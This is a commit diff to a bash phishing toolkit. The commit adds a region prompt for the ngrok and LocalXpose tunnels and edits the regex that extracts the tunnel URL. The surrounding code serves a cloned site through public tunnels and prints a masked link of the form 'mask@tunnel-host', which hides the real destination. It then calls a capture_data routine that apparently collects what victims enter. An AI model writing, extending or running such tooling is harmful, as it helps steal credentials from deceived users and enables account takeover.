@@ -409,12 +409,20 @@ capture_data() {
409
409
start_ngrok () {
410
410
echo -e " \n${RED} [${WHITE} -${RED} ]${GREEN} Initializing... ${GREEN} ( ${CYAN} http://$HOST :$PORT ${GREEN} )"
411
411
{ sleep 1; setup_site; }
412
- echo -ne " \n\n${RED} [${WHITE} -${RED} ]${GREEN} Launching Ngrok..."
412
+ echo -e " \n"
413
+ read -p " ${RED} [${WHITE} -${RED} ]${ORANGE} Change Ngrok Server Region? ${GREEN} [${CYAN} y${GREEN} /${CYAN} N${GREEN} ]:${ORANGE} " opinion
414
+ opinion=${opinion:= N}
415
+ if [[ ${opinion:: 1} == " y" || ${opinion:: 1} == " Y" ]]; then
416
+ ngrok_region=" eu" # eu, au, ap, sa, jp, in
417
+ else
418
+ ngrok_region=" us"
419
+ fi
420
+ echo -ne " \n${RED} [${WHITE} -${RED} ]${GREEN} Launching Ngrok..."
413
421
414
422
if [[ ` command -v termux-chroot` ]]; then
415
- sleep 2 && termux-chroot ./.server/ngrok http " $HOST " :" $PORT " --log=stdout > /dev/null 2>&1 &
423
+ sleep 2 && termux-chroot ./.server/ngrok http --region ${ngrok_region} " $HOST " :" $PORT " --log=stdout > /dev/null 2>&1 &
416
424
else
417
- sleep 2 && ./.server/ngrok http " $HOST " :" $PORT " --log=stdout > /dev/null 2>&1 &
425
+ sleep 2 && ./.server/ngrok http --region ${ngrok_region} " $HOST " :" $PORT " --log=stdout > /dev/null 2>&1 &
418
426
fi
419
427
420
428
{ sleep 8; clear; banner_small; }
@@ -451,16 +459,24 @@ start_cloudflared() {
451
459
start_loclx () {
452
460
echo -e " \n${RED} [${WHITE} -${RED} ]${GREEN} Initializing... ${GREEN} ( ${CYAN} http://$HOST :$PORT ${GREEN} )"
453
461
{ sleep 1; setup_site; }
454
- echo -ne " \n\n${RED} [${WHITE} -${RED} ]${GREEN} Launching LocalXpose..."
462
+ echo -e " \n"
463
+ read -p " ${RED} [${WHITE} -${RED} ]${ORANGE} Change Loclx Server Region? ${GREEN} [${CYAN} y${GREEN} /${CYAN} N${GREEN} ]:${ORANGE} " opinion
464
+ opinion=${opinion:= N}
465
+ if [[ ${opinion:: 1} == " y" || ${opinion:: 1} == " Y" ]]; then
466
+ loclx_region=" eu" # ap / eu
467
+ else
468
+ loclx_region=" us"
469
+ fi
470
+ echo -ne " \n${RED} [${WHITE} -${RED} ]${GREEN} Launching LocalXpose..."
455
471
456
472
if [[ ` command -v termux-chroot` ]]; then
457
- sleep 2 && termux-chroot ./.server/loclx tunnel H -t " $HOST " :" $PORT " --https-redirect > .server/.loclx 2>&1 &
473
+ sleep 2 && termux-chroot ./.server/loclx tunnel http --region ${loclx_region} -t " $HOST " :" $PORT " --https-redirect > .server/.loclx 2>&1 &
458
474
else
459
- sleep 2 && ./.server/loclx tunnel H -t " $HOST " :" $PORT " --https-redirect > .server/.loclx 2>&1 &
475
+ sleep 2 && ./.server/loclx tunnel http --region ${loclx_region} -t " $HOST " :" $PORT " --https-redirect > .server/.loclx 2>&1 &
460
476
fi
461
477
462
478
{ sleep 12; clear; banner_small; }
463
- loclx_url=$( cat .server/.loclx | grep -o ' [-0-9a-z]*\. loclx.io' )
479
+ loclx_url=$( cat .server/.loclx | grep -Eo ' [-0-9a-z]+.[-0-9a-z]+(. loclx.io) ' ) # Somebody fix this crappy regex :(
464
480
echo -e " \n${RED} [${WHITE} -${RED} ]${BLUE} URL 1 : ${GREEN} http://$loclx_url "
465
481
echo -e " \n${RED} [${WHITE} -${RED} ]${BLUE} URL 2 : ${GREEN} $mask @$loclx_url "
466
482
capture_data
0 commit comments